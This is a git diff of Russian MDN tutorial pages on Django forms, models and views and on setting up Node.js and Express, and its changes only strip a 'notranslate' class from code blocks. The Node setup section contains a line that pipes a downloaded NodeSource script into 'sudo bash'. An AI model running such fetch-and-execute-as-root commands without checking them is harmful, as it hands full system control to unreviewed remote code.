renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") @@ -160,7 +160,7 @@ class RenewBookForm(forms.Form): <p>Django предоставляет несколько мест где вы можете осуществить валидацию ваших данных. Простейшим способом проверки значения одиночного поля является переопределение метода<code>clean_<strong><fieldname></strong>()</code> (здесь, <code><strong><fieldname></strong></code> это имя поля, которое вы хотите проверить). Например, мы хотим проверить, что введённое значение <code>renewal_date</code> находится между текущей датой и 4 неделями в будущем. Для этого мы создаём метод <code>clean_<strong>renewal_date</strong>()</code>, как показано ниже:</p> -<pre class="brush: python notranslate">from django import forms +<pre class="brush: python">from django import forms <strong>from django.core.exceptions import ValidationError from django.utils.translation import ugettext_lazy as _ @@ -201,7 +201,7 @@ class RenewBookForm(forms.Form): <p>Перед созданием отображения давайте добавим соответствующую конфигурацию URL-адреса для страницы обновления книг. Скопируйте следующий фрагмент в нижнюю часть файла<strong> locallibrary/catalog/urls.py</strong>.</p> -<pre class="brush: python notranslate">urlpatterns += [ +<pre class="brush: python">urlpatterns += [ url(r'^book/(?P<pk>[-\w]+)/renew/$', views.renew_book_librarian, name='renew-book-librarian'), ]</pre> @@ -219,7 +219,7 @@ class RenewBookForm(forms.Form): <p>Процесс обновления книги приводит к изменению информации в базе данных, таким образом, в соответствии с нашими соглашениями, в таком случае мы должны применять запрос типа <code>POST</code>. Фрагмент кода, представленный ниже, показывает (наиболее общую) схему работы для таких запросов. </p> -<pre class="brush: python notranslate">from django.shortcuts import get_object_or_404 +<pre class="brush: python">from django.shortcuts import get_object_or_404 from django.http import HttpResponseRedirect from django.urls import reverse import datetime @@ -263,7 +263,7 @@ def renew_book_librarian(request, pk): <p>В отображении аргумент <code>pk</code> мы используем в функции<code>get_object_or_404()</code> для получения текущего объекта типа <code>BookInstance</code> (если его не существует, то функция, а следом и наше отображение прервут своё выполнение, а на странице пользователя отобразится сообщение об ошибке: "объект не найден"). Если запрос вызова отображения <em>не является</em> <code>POST</code>-запросом, то мы переходим к условному блоку <code>else</code>, в котором мы создаём форму по умолчанию и передаём ей начальное значения<code>initial</code> для поля <code>renewal_date</code> (выделено жирным ниже, - 3 недели, начиная с текущей даты). </p> -<pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk) +<pre class="brush: python"> book_inst = get_object_or_404(BookInstance, pk=pk) # Если это GET (или другой метод), тогда создаём форму по умолчанию <strong>else:</strong> @@ -276,7 +276,7 @@ def renew_book_librarian(request, pk): <p>Если все таки у нас <code>POST</code>-запрос, тогда мы создаём объект с именем <code>form</code> и заполняем его данными, полученными из запроса. Данный процесс называется связыванием (или, биндингом, от англ. "binding") и позволяет нам провести валидацию данных. Далее осуществляется валидация формы, при этом проверяются все поля формы — для этого используются как код обобщённого класса, так и пользовательских функций, в частности нашей функции проверки введённых дат <code>clean_renewal_date()</code>. </p> -<pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk) +<pre class="brush: python"> book_inst = get_object_or_404(BookInstance, pk=pk) # Если данный запрос типа POST, тогда if request.method == 'POST': @@ -309,7 +309,7 @@ def renew_book_librarian(request, pk): <p>Окончательный вид отображения показан ниже. Пожалуйста, скопируйте данный текст в нижнюю часть файла <strong>locallibrary/catalog/views.py</strong>.</p> -<pre class="notranslate"><strong>from django.contrib.auth.decorators import permission_required</strong> +<pre><strong>from django.contrib.auth.decorators import permission_required</strong> from django.shortcuts import get_object_or_404 from django.http import HttpResponseRedirect @@ -352,7 +352,7 @@ def renew_book_librarian(request, pk): <p>Создайте шаблон, на который ссылается наше отображение (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>) и скопируйте в него код, указанный ниже:</p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} <h1>Renew: \{{bookinst.book.title}}</h1> @@ -379,7 +379,7 @@ def renew_book_librarian(request, pk): <p>Все что осталось, это указать переменную <code>\{{form}}</code>, которую мы передали в шаблон в словаре контекста. Возможно это вас не удивит, но таким образом мы предоставим возможность форме отрендерить свои поля с их метками, виджетами и дополнительными текстами, и в результате мы получим следующее:</p> -<pre class="brush: html notranslate"><tr> +<pre class="brush: html"><tr> <th><label for="id_renewal_date">Renewal date:</label></th> <td> <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /> @@ -395,7 +395,7 @@ def renew_book_librarian(request, pk): <p>Если вы ввели неправильную дату, то на странице вы должны получить список сообщений об ошибках (показано жирным ниже).</p> -<pre class="brush: html notranslate"><tr> +<pre class="brush: html"><tr> <th><label for="id_renewal_date">Renewal date:</label></th> <td> <strong> <ul class="errorlist"> @@ -427,7 +427,7 @@ def renew_book_librarian(request, pk): <p>Если вы выполнили задание в <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django руководство часть 8: Аутентификация и разрешение доступа</a>, то у вас должна быть страница со списком всех книг в наличии библиотеки и данный список (страница) должен быть доступен только её сотрудникам. На данной странице в каждом пункте (для каждой книги) мы можем добавить ссылку на нашу новую страницу обновления книги.</p> -<pre class="brush: html notranslate">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> +<pre class="brush: html">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> <div class="note"> <p><strong>Примечание</strong>: Помните что, для того чтобы перейти на страницу обновления книги, ваш тестовый логин должен иметь разрешение доступа типа "<code>catalog.can_mark_returned</code>"(возможно надо воспользоваться вашим аккаунтом для суперпользователя).</p> @@ -457,7 +457,7 @@ def renew_book_librarian(request, pk): <p>Базовая реализация <code>ModelForm</code> содержит тоже поле как и ваш предыдущий класс формы <code>RenewBookForm</code>, что и показано ниже. Все что вам необходимо сделать, - внутри вашего нового класса добавить класс <code>Meta</code> и связать его с моделью <code>model</code> (<code>BookInstance</code>), а затем перечислить поля модели в поле <code>fields</code> которые должны быть включены в форму (вы можете включить все поля при помощи <code>fields = '__all__'</code>, или можно воспользоваться полем <code>exclude</code> (вместо <code>fields</code>), чтобы определить поля модели, которые <em>не</em> нужно включать).</p> -<pre class="brush: python notranslate">from django.forms import ModelForm +<pre class="brush: python">from django.forms import ModelForm from .models import BookInstance class RenewBookModelForm(ModelForm): @@ -472,7 +472,7 @@ class RenewBookModelForm(ModelForm): <p>Оставшаяся часть информации касается объявления полей модели (то есть, текстовых меток, виджетов, текстов, сообщений об ошибках). Если они недостаточно "правильные", то тогда мы можем переопределить их в нашем классе <code>Meta</code> при помощи словаря, содержащего поле, которое надо изменить и его новое значение. Например, в нашей форме мы могли бы поменять текст метки для поля "<em>Renewal date</em>" (вместо того, чтобы оставить текст по умолчанию: <em>Due date</em>), а кроме того мы хотим написать другой вспомогательный текст. Класс <code>Meta</code>, представленный ниже, показывает вам, как переопределить данные поля. Кроме того, при необходимости, вы можете установить значения для виджетов <code>widgets</code> и сообщений об ошибках <code>error_messages</code>.</p> -<pre class="brush: python notranslate">class Meta: +<pre class="brush: python">class Meta: model = BookInstance fields = ['due_back',] <strong> labels = { 'due_back': _('Renewal date'), } @@ -481,7 +481,7 @@ class RenewBookModelForm(ModelForm): <p>Чтобы добавить валидацию, вы можете использовать тот же способ как и для класса <code>Form</code> — вы определяете функцию с именем <code>clean_<em>field_name</em>()</code> из которой выбрасываете исключение <code>ValidationError</code>, если это необходимо. Единственным отличием от нашей оригинальной формы будет являться то, что поле модели имеет имя <code>due_back</code>, а не "<code>renewal_date</code>".</p> -<pre class="brush: python notranslate">from django.forms import ModelForm +<pre class="brush: python">from django.forms import ModelForm from .models import BookInstance class RenewBookModelForm(ModelForm): @@ -522,7 +522,7 @@ class RenewBookModelForm(ModelForm): <p>Откройте файл отображений (<strong>locallibrary/catalog/views.py</strong>) и добавьте следующий код в его нижнюю часть:</p> -<pre class="brush: python notranslate">from django.views.generic.edit import CreateView, UpdateView, DeleteView +<pre class="brush: python">from django.views.generic.edit import CreateView, UpdateView, DeleteView from django.urls import reverse_lazy from .models import Author @@ -551,7 +551,7 @@ class AuthorDelete(DeleteView): <p>Создайте файл шаблона <strong>locallibrary/catalog/templates/catalog/author_form.html</strong> и скопируйте в него следующий текст.</p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} @@ -569,7 +569,7 @@ class AuthorDelete(DeleteView): <p>Отображения "удалить" ожидает "найти" шаблон с именем формата <em>model_name</em><strong>_confirm_delete.html</strong> (и снова, вы можете изменить суффикс при помощи поля отображения<code>template_name_suffix</code>). Создайте файл шаблона <strong>locallibrary/catalog/templates/catalog/author_confirm_delete</strong><strong>.html</strong> и скопируйте в него текст, указанный ниже.</p> -<pre class="brush: html notranslate">{% extends "base_generic.html" %} +<pre class="brush: html">{% extends "base_generic.html" %} {% block content %} @@ -589,7 +589,7 @@ class AuthorDelete(DeleteView): <p>Откройте файл конфигураций URL-адресов (<strong>locallibrary/catalog/urls.py</strong>) и добавьте в его нижнюю часть следующие настройки:</p> -<pre class="brush: python notranslate">urlpatterns += [ +<pre class="brush: python">urlpatterns += [ url(r'^author/create/$', views.AuthorCreate.as_view(), name='author_create'), url(r'^author/(?P<pk>\d+)/update/$', views.AuthorUpdate.as_view(), name='author_update'), url(r'^author/(?P<pk>\d+)/delete/$', views.AuthorDelete.as_view(), name='author_delete'), diff --git a/files/ru/learn/server-side/django/introduction/index.html b/files/ru/learn/server-side/django/introduction/index.html index 34fcd1da21..b94853398f 100644 --- a/files/ru/learn/server-side/django/introduction/index.html +++ b/files/ru/learn/server-side/django/introduction/index.html @@ -112,7 +112,7 @@ original_slug: Learn/Server-side/Django/Введение <p>Сопоставитель URL-адресов обычно содержится в файле <strong>urls.py</strong>. В примере ниже сопоставитель (<code>urlpatterns</code>) определяет список сопоставлений между<em>маршрутами </em>(определёнными URL-<em>шаблонами</em>) и соответствующими функциями отображения (view). Если получен HTTP-запрос, который имеет URL-адрес, соответствующий определённому шаблону, то затем будет вызвана связанная функция отображения (view) и передана в запрос.</p> -<pre class="notranslate">urlpatterns = [ +<pre>urlpatterns = [ <strong>path('admin/', admin.site.urls), </strong>path('book/<int:id>/', views.book_detail, name='book_detail'), path('catalog/', include('catalog.urls')), @@ -131,7 +131,7 @@ original_slug: Learn/Server-side/Django/Введение <p>В приведённом ниже примере показана минимальная функция представления <code>index()</code>, которая могла быть вызвана нашим сопоставителем URL-адресов в предыдущем разделе. Как и все функции отображения (view), она получает объект <code>HttpRequest</code> в качестве параметра (<code>request</code>) и возвращает объект <code>HttpResponse</code>. В этом случае мы ничего не делаем с запросом, и наш ответ просто возвращает жёстко запрограммированную строку. Мы покажем вам запрос, который делает что-то более интересное в следующем разделе.</p> -<pre class="brush: python notranslate">## filename: views.py (Django view functions) +<pre class="brush: python">## filename: views.py (Django view functions) from django.http import HttpResponse @@ -162,7 +162,7 @@ def index(request): <p>В приведённом ниже фрагменте кода показана очень простая модель Django для объекта <code>Team</code>. Класс <code>Team</code> наследуется от класса <code>models.Model</code>. Он определяет имя команды и командный уровень в качестве полей символов и задаёт максимальное количество символов, которые могут быть сохранены для каждой записи. <code>Team_level</code> может быть одним из нескольких значений, поэтому мы определяем его как поле выбора и предоставляем сопоставление между отображаемыми вариантами и хранимыми данными вместе со значением по умолчанию.</p> -<pre class="brush: python notranslate"># filename: models.py +<pre class="brush: python"># filename: models.py from django.db import models @@ -194,7 +194,7 @@ class Team(models.Model): <p>Фрагмент кода показывает функцию view (обработчик ресурсов) для отображения всех команд U09. Выделенная жирным строка показывает, как мы можем использовать модель API-запросов для того, чтобы отфильтровать все записи, где поле <code>team_level</code> в точности содержит текст 'U09' (обратите внимание, как эти критерии передаются функции <code>filter()</code> в качестве аргумента с именем поля и типом соответствия, разделённым двойным подчёркиванием: <strong>team_level__exact</strong>). </p> -<pre class="brush: python notranslate">## filename: views.py +<pre class="brush: python">## filename: views.py from django.shortcuts import render from .models import Team @@ -216,7 +216,7 @@ def index(request): <p>Фрагмент кода показывает, как может выглядеть HTML-шаблон, вызванный функцией <code>render()</code> из предыдущего раздела. Этот шаблон был написан с предположением, что во время отрисовки он будет иметь доступ к переменной списка, названной <code>youngest_teams</code> (содержащейся в контекстной переменной внутри функции <code>render()</code> выше). Внутри скелета HTML мы имеем выражение, которое сначала проверяет, существует ли переменная <code>youngest_teams</code>, а затем повторяет её в цикле <code>for</code>. При каждом повторе шаблон отображает значение <code>team_name</code> каждой команды в элементе <code>{{htmlelement("li")}}</code>.</p> -<pre class="notranslate">## filename: best/templates/best/index.html +<pre>## filename: best/templates/best/index.html <!DOCTYPE html> <html lang="en"> diff --git a/files/ru/learn/server-side/django/models/index.html b/files/ru/learn/server-side/django/models/index.html index 8e05924833..84f8b261d2 100644 --- a/files/ru/learn/server-side/django/models/index.html +++ b/files/ru/learn/server-side/django/models/index.html @@ -63,7 +63,7 @@ translation_of: Learn/Server-side/Django/Models <p>Модели обычно определяются в приложении <strong>models.py</strong>. Они реализуются как подклассы <code>django.db.models.Model</code>, и могут включать поля, методы и метаданные. В приведённом ниже фрагменте кода показана «типичная» модель, названная <code>MyModelName</code>:</p> -<pre class="notranslate">from django.db import models +<pre>from django.db import models class MyModelName(models.Model): """ @@ -97,7 +97,7 @@ class MyModelName(models.Model): <p>Модель может иметь произвольное количество полей любого типа - каждый представляет столбец данных, который мы хотим сохранить в одной из наших таблиц базы данных. Каждая запись (строка) базы данных будет состоять из одного значения каждого поля. Давайте рассмотрим приведённый выше пример:</p> -<pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre> +<pre class="brush: js">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre> <p>Наш вышеприведённый пример имеет одно поле, называемое my_<code>field_name</code>, типа <code>models.CharField</code> — что означает, что это поле будет содержать строки буквенно-цифровых символов. Типы полей назначаются с использованием определённых классов, которые определяют тип записи, которая используется для хранения данных в базе данных, а также критерии проверки, которые должны использоваться, когда значения получены из формы HTML (то есть, что составляет действительное значение). Типы полей также могут принимать аргументы, которые дополнительно определяют, как поле хранится или может использоваться. В этом случае мы даём нашему полю два аргумента:</p> @@ -148,7 +148,7 @@ class MyModelName(models.Model): <p>Вы можете объявить метаданные на уровне модели для своей модели, объявив класс Meta, как показано на рисунке.</p> -<pre class="brush: python notranslate">class Meta: +<pre class="brush: python">class Meta: ordering = ["-my_field_name"] ...</pre> @@ -156,13 +156,13 @@ class MyModelName(models.Model): <p>Например, если мы решили сортировать книги по умолчанию:</p> -<pre class="brush: python notranslate">ordering = ["title", "-pubdate"]</pre> +<pre class="brush: python">ordering = ["title", "-pubdate"]</pre> <p>Книги будут отсортированы по алфавиту по названию, от A-Z, а затем по дате публикации внутри каждого названия, от самого нового до самого старого.</p> <p>Другим распространённым атрибутом является verbose_name, подробное имя для класса в единственной и множественной форме:</p> -<pre class="brush: python notranslate">verbose_name = "BetterName"</pre> +<pre class="brush: python">verbose_name = "BetterName"</pre> <p>Другие полезные атрибуты позволяют создавать и применять новые «разрешения доступа» для модели (разрешения по умолчанию применяются автоматически), разрешить упорядочение на основе другого поля или объявить, что класс является «абстрактным» (базовый класс, для которого вы не можете создавать записи, и вместо этого будет создан для создания других моделей). Многие другие параметры метаданных управляют тем, какая база данных должна использоваться для модели и как хранятся данные (это действительно полезно, если вам нужно сопоставить модель с существующей базой данных). Полный список опций метаданных доступен здесь: <a href="https://docs.djangoproject.com/en/2.2/ref/models/options/#model-meta-options">Model metadata options</a> (Django документация).</p> @@ -170,12 +170,12 @@ class MyModelName(models.Model): <p>Модель также может иметь методы. Минимально в каждой модели вы должны определить стандартный метод класса для Python __str __ (), чтобы вернуть удобочитаемую строку для каждого объекта. Эта строка используется для представления отдельных записей на сайте администрирования (и в любом другом месте, где вам нужно обратиться к экземпляру модели). Часто это возвращает поле названия или имени из модели.</p> -<pre class="brush: python notranslate">def __str__(self): +<pre class="brush: python">def __str__(self): return self.field_name</pre> <p>Другим распространённым методом включения в модели Django является get_absolute_url (), который возвращает URL-адрес для отображения отдельных записей модели на веб-сайте (если вы определяете этот метод, тогда Django автоматически добавит кнопку «Просмотр на сайте» на экранах редактирования записей модели на сайте администратора). Типичный шаблон для get_absolute_url () показан ниже.</p> -<pre class="brush: python notranslate">def get_absolute_url(self): +<pre class="brush: python">def get_absolute_url(self): """ Returns the url to access a particular instance of the model. """ @@ -198,7 +198,7 @@ class MyModelName(models.Model): <p>Чтобы создать запись, вы можете определить экземпляр модели, а затем вызвать метод save ().</p> -<pre class="brush: python notranslate"># Create a new record using the model's constructor. +<pre class="brush: python"># Create a new record using the model's constructor. a_record = MyModelName(my_field_name="Instance #1") # Save the object into the database. @@ -211,7 +211,7 @@ a_record.save() <p>Вы можете получить доступ к полям в этой новой записи с использованием синтаксиса точек и изменить значения. Вы должны вызвать save (), чтобы сохранить изменённые значения в базе данных.</p> -<pre class="brush: python notranslate"># Access model field values using Python attributes. +<pre class="brush: python"># Access model field values using Python attributes. print(a_record.id) #should return 1 for the first record. print(a_record.my_field_name) # should print 'Instance #1' @@ -229,12 +229,12 @@ a_record.save()</pre> <p>Мы можем получить все записи для модели как объект QuerySet, используя <code>objects.all()</code>. QuerySet - это итерируемый объект, означающий, что он содержит несколько объектов, которые мы можем перебирать / прокручивать.</p> -<pre class="brush: python notranslate">all_books = Book.objects.all() +<pre class="brush: python">all_books = Book.objects.all() </pre> <p>Метод <code>filter()</code> Django позволяет отфильтровать возвращаемый <code>QuerySet</code> для соответствия указанному текстовому или числовому полю по конкретным критериям. Например, чтобы отфильтровать книги, содержащие слово «wild» («дикие») в заголовке, а затем подсчитать их, мы могли бы сделать следующее.</p> -<pre class="brush: python notranslate">wild_books = Book.objects.filter(title__contains='wild') +<pre class="brush: python">wild_books = Book.objects.filter(title__contains='wild') number_wild_books = Book.objects.filter(title__contains='wild').count() </pre> @@ -242,7 +242,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count() <p>В некоторых случаях вам нужно будет фильтровать поле, которое определяет отношение «один ко многим» к другой модели (например, <code>ForeignKey</code>). В этом случае вы можете «индексировать» поля в связанной модели с дополнительными двойными подчёркиваниями. Так, например, чтобы фильтровать книги с определённым жанровым рисунком, вам нужно будет указывать имя в поле жанра, как показано ниже:</p> -<pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc. +<pre class="brush: python">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc. </pre> <div class="note"> @@ -255,7 +255,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count() <p>В этом разделе мы начнём определять модели для библиотеки. Откройте <em>models.py (в / locallibrary / catalog /)</em>. Шаблон в верхней части страницы импортирует модуль моделей, который содержит базовый класс модели <code>models.Model</code>, от которого наследуются наши модели.</p> -<pre class="brush: python notranslate">from django.db import models +<pre class="brush: python">from django.db import models # Create your models here.</pre> @@ -263,7 +263,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count() <p>Скопируйте приведённый ниже код модели <code>Genre </code>и вставьте его в нижнюю часть вашего файла <code>models.py</code>. Эта модель используется для хранения информации о категории книг - например, будь то художественная или документальная, роман или военно-историческая и т. д. Как уже упоминалось выше, мы создали жанр как модель, а не как свободный текст или список выбора, чтобы возможные значения могли управляться через базу данных, а не были закодированными.</p> -<pre class="brush: python notranslate">class Genre(models.Model): +<pre class="brush: python">class Genre(models.Model): """ Model representing a book genre (e.g. Science Fiction, Non Fiction). """ @@ -281,7 +281,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count() <p>Скопируйте модель книги ниже и снова вставьте её в нижнюю часть файла. Модель книги представляет всю информацию о доступной книге в общем смысле, но не конкретный физический «экземпляр» или «копию» для временного использования. Модель использует CharField для представления названия книги и isbn (обратите внимание, как isbn указывает свой ярлык как «ISBN», используя первый неименованный параметр, поскольку в противном случае ярлык по умолчанию был бы «Isbn»). Модель использует TextField для summary, потому что этот текст, возможно, должен быть очень длинным.</p> -<pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns +<pre class="brush: python">from django.urls import reverse #Used to generate URLs by reversing the URL patterns class Book(models.Model): """ @@ -326,7 +326,7 @@ class Book(models.Model): <li>CharField, для представления данных (конкретного выпуска) о книге.</li> </ul> -<pre class="brush: python notranslate">import uuid # Required for unique book instances +<pre class="brush: python">import uuid # Required for unique book instances class BookInstance(models.Model): """ @@ -382,7 +382,7 @@ class BookInstance(models.Model): <p>Теперь все поля/методы должны быть знакомы. Модель определяет автора как имя, фамилию, дату рождения и (необязательную) дату смерти. Он указывает, что по умолчанию __str __ () возвращает имя в фамилии, порядковый номер первого имени. Метод get_absolute_url () отменяет сопоставление URL-адреса автора с целью получения URL-адреса для отображения отдельного автора.</p> -<pre class="brush: python notranslate">class Author(models.Model): +<pre class="brush: python">class Author(models.Model): """ Model representing an author. """ @@ -409,7 +409,7 @@ class BookInstance(models.Model): <p>Теперь все ваши модели созданы. Теперь переустановите миграцию базы данных, чтобы добавить их в свою базу данных.</p> -<pre class="notranslate"><code>python3 manage.py makemigrations +<pre><code>python3 manage.py makemigrations python3 manage.py migrate</code></pre> <h2 id="Языковая_модель_-_вызов">Языковая модель - вызов</h2> diff --git a/files/ru/learn/server-side/express_nodejs/development_environment/index.html b/files/ru/learn/server-side/express_nodejs/development_environment/index.html index c0c188f731..626090c6a0 100644 --- a/files/ru/learn/server-side/express_nodejs/development_environment/index.html +++ b/files/ru/learn/server-side/express_nodejs/development_environment/index.html @@ -85,7 +85,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment <p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой способ установить последнюю версию LTS Node 6.x - это использовать</span></span> <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">package manager</a> <span class="tlid-translation translation" lang="ru"><span title="">чтобы получить его из репозитория бинарных дистрибутивов Ubuntu.</span> <span title="">Это можно сделать очень просто, выполнив следующие две команды на вашем терминале:</span></span></p> -<pre class="brush: bash notranslate"><code>curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash - +<pre class="brush: bash"><code>curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash - sudo apt-get install -y nodejs</code> </pre> @@ -100,12 +100,12 @@ sudo apt-get install -y nodejs</code> <p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой способ проверить, установлен ли этот узел, - это запустить команду «версия» в своём терминале / командной строке и проверить, что возвращается строка версии:</span></span></p> -<pre class="brush: bash notranslate">>node -v +<pre class="brush: bash">>node -v v8.11.3</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Менеджер пакетов Nodejs NPM также должен быть установлен и может быть протестирован таким же образом:</span></span></p> -<pre class="brush: bash notranslate">>npm -v +<pre class="brush: bash">>npm -v 5.8.0</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">В качестве немного более захватывающего теста давайте создадим очень простой сервер «чистого узла», который просто печатает «Hello World» в браузере, когда вы посещаете правильный URL в вашем браузере:</span></span></p> @@ -113,7 +113,7 @@ v8.11.3</pre> <ol> <li><span class="tlid-translation translation" lang="ru"><span title="">Скопируйте следующий текст в файл с именем hellonode.js.</span> <span title="">Здесь используются чистые функции Node (ничего из Express) и некоторый синтаксис ES6:</span></span> - <pre class="brush: js notranslate">//Загрузка модуля HTTP + <pre class="brush: js">//Загрузка модуля HTTP const http = require("http"); <code>const hostname = '127.0.0.1'; const port = 3000; @@ -141,7 +141,7 @@ server.listen(port, hostname, () => { </div> </li> <li><span class="tlid-translation translation" lang="ru"><span title="">Запустите сервер, перейдя в тот же каталог, что и ваш файл hellonode.js в командной строке, и вызвав узел вместе с именем скрипта, например так:</span></span> - <pre class="brush: bash notranslate">>node hellonode.js + <pre class="brush: bash">>node hellonode.js Server running at http://127.0.0.1:3000/ </pre> </li> @@ -169,15 +169,15 @@ Server running at http://127.0.0.1:3000/ <ol> <li><span class="tlid-translation translation" lang="ru"><span title="">Сначала создайте каталог для вашего нового приложения и перейдите в него:</span></span> - <pre class="brush: bash notranslate">mkdir myapp + <pre class="brush: bash">mkdir myapp cd myapp</pre> </li> <li><span class="tlid-translation translation" lang="ru"><span title="">Используйте команду npm init для создания файла package.json для вашего приложения.</span> <span title="">Эта команда запрашивает у вас несколько вещей, включая имя и версию вашего приложения, а также имя исходного файла точки входа (по умолчанию это index.js).</span> <span title="">Сейчас просто примите значения по умолчанию:</span></span> - <pre class="brush: bash notranslate">npm init</pre> + <pre class="brush: bash">npm init</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Если вы отобразите файл package.json (cat package.json), вы увидите принятые по умолчанию значения, заканчивающиеся лицензией.</span></span></p> - <pre class="brush: json notranslate">{ + <pre class="brush: json">{ "name": "myapp", "version": "1.0.0", "description": "", @@ -192,11 +192,11 @@ cd myapp</pre> </li> <li><span class="tlid-translation translation" lang="ru"><span title="">Теперь установите Express в каталог myapp и сохраните его в списке зависимостей вашего файла package.json</span></span></li> <li> - <pre class="brush: bash notranslate">npm install express --save</pre> + <pre class="brush: bash">npm install express --save</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Раздел зависимостей вашего package.json теперь появится в конце файла package.json и будет содержать Express.</span></span></p> - <pre class="brush: json notranslate">{ + <pre class="brush: json">{ "name": "myapp", "version": "1.0.0", "description": "", @@ -213,7 +213,7 @@ cd myapp</pre> </pre> </li> <li><span class="tlid-translation translation" lang="ru"><span title="">Для использования библиотеки вы вызываете функцию require (), как показано ниже в вашем файле index.js.</span></span> - <pre class="notranslate"><code><strong>const express = require('express')</strong> + <pre><code><strong>const express = require('express')</strong> const app = express(); app.get('/', (req, res) => { @@ -230,7 +230,7 @@ app.listen(</code>8000<code>, () => { <span class="tlid-translation translation" lang="ru"><span title="">Создайте файл с именем index.js в корне каталога приложения «myapp» и передайте ему содержимое, показанное выше.</span></span></p> </li> <li><span class="tlid-translation translation" lang="ru"><span title="">Вы можете запустить сервер, вызвав узел с помощью скрипта в командной строке:</span></span> - <pre class="brush: bash notranslate">>node index.js + <pre class="brush: bash">>node index.js Example app listening on port 8000 </pre> </li> @@ -241,11 +241,11 @@ Example app listening on port 8000 <p><span class="tlid-translation translation" lang="ru"><span title="">Если зависимость используется только во время разработки, вы должны вместо этого сохранить её как «зависимость разработки» (чтобы пользователям вашего пакета не приходилось устанавливать её в производстве).</span> <span title="">Например, чтобы использовать популярный инструмент JavaScript Linting eslint, вы должны вызвать NPM, как показано ниже:</span></span></p> -<pre class="brush: bash notranslate"><code>npm install eslint --save-dev</code></pre> +<pre class="brush: bash"><code>npm install eslint --save-dev</code></pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Следующая запись будет добавлена в package.json вашего приложения:</span></span></p> -<pre class="brush: js notranslate"> "devDependencies": { +<pre class="brush: js"> "devDependencies": { "eslint": "^4.12.1" } </pre> @@ -264,7 +264,7 @@ Example app listening on port 8000 <p><span class="tlid-translation translation" lang="ru"><span title="">Например, чтобы определить скрипт для запуска зависимости разработки eslint, которую мы указали в предыдущем разделе, мы могли бы добавить следующий блок скрипта в наш файл package.json (при условии, что наш источник приложения находится в папке / src / js):</span></span></p> -<pre class="brush: js notranslate">"scripts": { +<pre class="brush: js">"scripts": { ... "lint": "eslint src/js" ... @@ -275,7 +275,7 @@ Example app listening on port 8000 <p><span class="tlid-translation translation" lang="ru"><span title="">Затем мы сможем запустить eslint с помощью NPM, вызвав:</span></span></p> -<pre class="brush: bash notranslate"><code>npm run-script lint +<pre class="brush: bash"><code>npm run-script lint # OR (using the alias) npm run lint</code> </pre> @@ -286,16 +286,16 @@ npm run lint</code> <p><span class="tlid-translation translation" lang="ru"><span title="">Инструмент Express Application Generator создаёт «скелет» приложения Express.</span> <span title="">Установите генератор, используя NPM, как показано (флаг -g устанавливает инструмент глобально, чтобы вы могли вызывать его из любого места):</span></span></p> -<pre class="notranslate"><code>npm install express-generator -g</code></pre> +<pre><code>npm install express-generator -g</code></pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы создать приложение Express с именем «helloworld» с настройками по умолчанию, перейдите туда, где вы хотите его создать, и запустите приложение, как показано ниже:</span></span></p> -<pre class="brush: bash notranslate">express helloworld</pre> +<pre class="brush: bash">express helloworld</pre> <div class="note"> <p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Вы также можете указать библиотеку шаблонов для использования и ряд других настроек.</span> <span title="">Используйте команду help, чтобы увидеть все параметры:</span></span></p> -<pre class="brush: bash notranslate">express --help +<pre class="brush: bash">express --help </pre> </div> @@ -304,7 +304,7 @@ npm run lint</code> <div class="note"> <p><span class="tlid-translation translation" lang="ru"><span title="">Новое приложение будет иметь файл package.json в своём корневом каталоге.</span> <span title="">Вы можете открыть это, чтобы увидеть, какие зависимости установлены, включая Express и библиотеку шаблонов Jade:</span></span></p> -<pre class="brush: js notranslate">{ +<pre class="brush: js">{ "name": "helloworld", "version": "0.0.0", "private": true, @@ -325,13 +325,13 @@ npm run lint</code> <p><span class="tlid-translation translation" lang="ru"><span title="">Установите все зависимости для приложения helloworld, используя NPM, как показано ниже:</span></span></p> -<pre class="brush: bash notranslate">cd helloworld +<pre class="brush: bash">cd helloworld npm install </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Затем запустите приложение (команды немного отличаются для Windows и Linux / macOS), как показано ниже:</span></span></p> -<pre class="brush: bash notranslate"># Run the helloworld on Windows with Command Prompt +<pre class="brush: bash"># Run the helloworld on Windows with Command Prompt SET DEBUG=helloworld:* & npm start # Run the helloworld on Windows with PowerShell 